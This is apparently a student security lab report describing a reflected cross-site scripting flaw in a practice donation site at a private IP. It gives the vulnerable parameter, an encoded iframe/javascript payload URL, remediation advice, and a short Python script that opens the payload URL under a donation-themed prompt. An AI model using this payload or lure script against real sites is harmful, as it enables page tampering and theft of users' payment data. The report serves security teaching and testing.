CSOC 1050: Lab Assignment #5

September 30, 2023

Prepared By: Ashish Hedau

Table of Contents

[Reflected Cross-site scripting vulnerability affecting http://10.5.50.50 leading to altered web page contents. 2](#_Toc147003103)

[Description 2](#_Toc147003104)

[Impact 2](#_Toc147003105)

[Recommendations 2](#_Toc147003106)

[Steps to Reproduce 3](#_Toc147003107)

# Reflected Cross-site scripting vulnerability affecting <http://10.5.50.50> leading to altered web page contents.

## Description

The assessed web application in scope <http://10.5.50.50> (Clean Oceans) features a landing page in which users can login and make donations towards cleaning the ocean. Before making the donations, the user has to enter personal information like credit card numbers, CVV, country code, name, postal code and amount before making the donations. A Reflected Cross-site Scripting (XSS) vulnerability has been identified in the web application. This vulnerability allows an attacker to inject malicious scripts into web page content, which, when viewed by users, can lead to alteration of the web page’s appearance and functionality.

Please read CWE-83: <https://cwe.mitre.org/data/definitions/83.html>

## Impact

The impact of this vulnerability encompasses a range of potential consequences. Users may experience modified web page contents that can mislead or confuse them, while attackers can seize opportunities to steal **sensitive user data**, including personal information, potentially leading to unauthorized actions, or even **financial losses**.

## Recommendations

To mitigate this issue, we recommend:

* Rigorous input validation and sanitization, ensuring that user-provided data adheres to expected formats and ranges while removing or escaping malicious characters.
* Employ context-aware output encoding techniques to encode user-generated content before rendering it in HTML, JavaScript, or other contexts.
* Implement a robust Content Security Policy to define trusted sources of content, restrict inline script executionTop of Form

## Steps to Reproduce

**Step 1**: Landing page of <http://10.5.50.50>

A screenshot of a computer

Description automatically generated

**Step 2**: The vulnerable ‘**name’** parameter.

*Note: The query is displayed by the web app.*

A screenshot of a computer

Description automatically generated

**Step 3**: The name ‘**test’** is used by the app as highlighted.

A screenshot of a computer

Description automatically generated

**Step 4**: Header tag used for ‘test’ (**<h1>test</th1>**)

*Note: The text ‘****test’*** *is displayed differently by the web app confirming the successful injection.*

A screenshot of a computer

Description automatically generated

**Step 5**: The payload used to alter the contents of the application is:

(**http://10.5.50.50/?name=%3Cinput%20value%3d%3C%3E%3Ciframe%2fsrc%3djavascript%3aconfirm(%22Hacked22)**)

A screenshot of a computer

Description automatically generated

**Step 6**: The python code created directs a user to the malicious URL embedded web application.

A screenshot of a computer

Description automatically generated

**Step 7**: Vulnerable snippet of the source code.

*Note: Download the source code from* [*http://10.5.50.50/source.zip*](http://10.5.50.50/source.zip)

A screenshot of a computer program

Description automatically generated

Python code used in automating exploit. 

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

import webbrowser

# Banner with blue text

banner = "\033[94m" + """

..######.....###....##.....##.########.....#######...######..########....###....##....##..######.

.##....##...##.##...##.....##.##..........##.....##.##....##.##.........##.##...###...##.##....##

.##........##...##..##.....##.##..........##.....##.##.......##........##...##..####..##.##......

..######..##.....##.##.....##.######......##.....##.##.......######...##.....##.##.##.##..######.

.......##.#########..##...##..##..........##.....##.##.......##.......#########.##..####.......##

.##....##.##.....##...##.##...##..........##.....##.##....##.##.......##.....##.##...###.##....##

..######..##.....##....###....########.....#######...######..########.##.....##.##....##..######.

""" + "\033[0m" # \033[94m sets text color to blue, \033[0m resets text color to default

print(banner)

# Take the base URL as user input with green color

base\_url = input("\033[92mEnter the URL to donate to FUNDamentals, e.g 10.X.50.50: \033[0m") # \033[92m sets text color to green

# Define the static query string

static\_query\_string = "/?name=%3Cinput%20value%3d%3C%3E%3Ciframe%2fsrc%3djavascript%3aconfirm(%22Hacked%22)"

# Combine the base URL and query string

url = base\_url + static\_query\_string

# Open the URL in Firefox

webbrowser.get('firefox').open(url)

**­­­\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**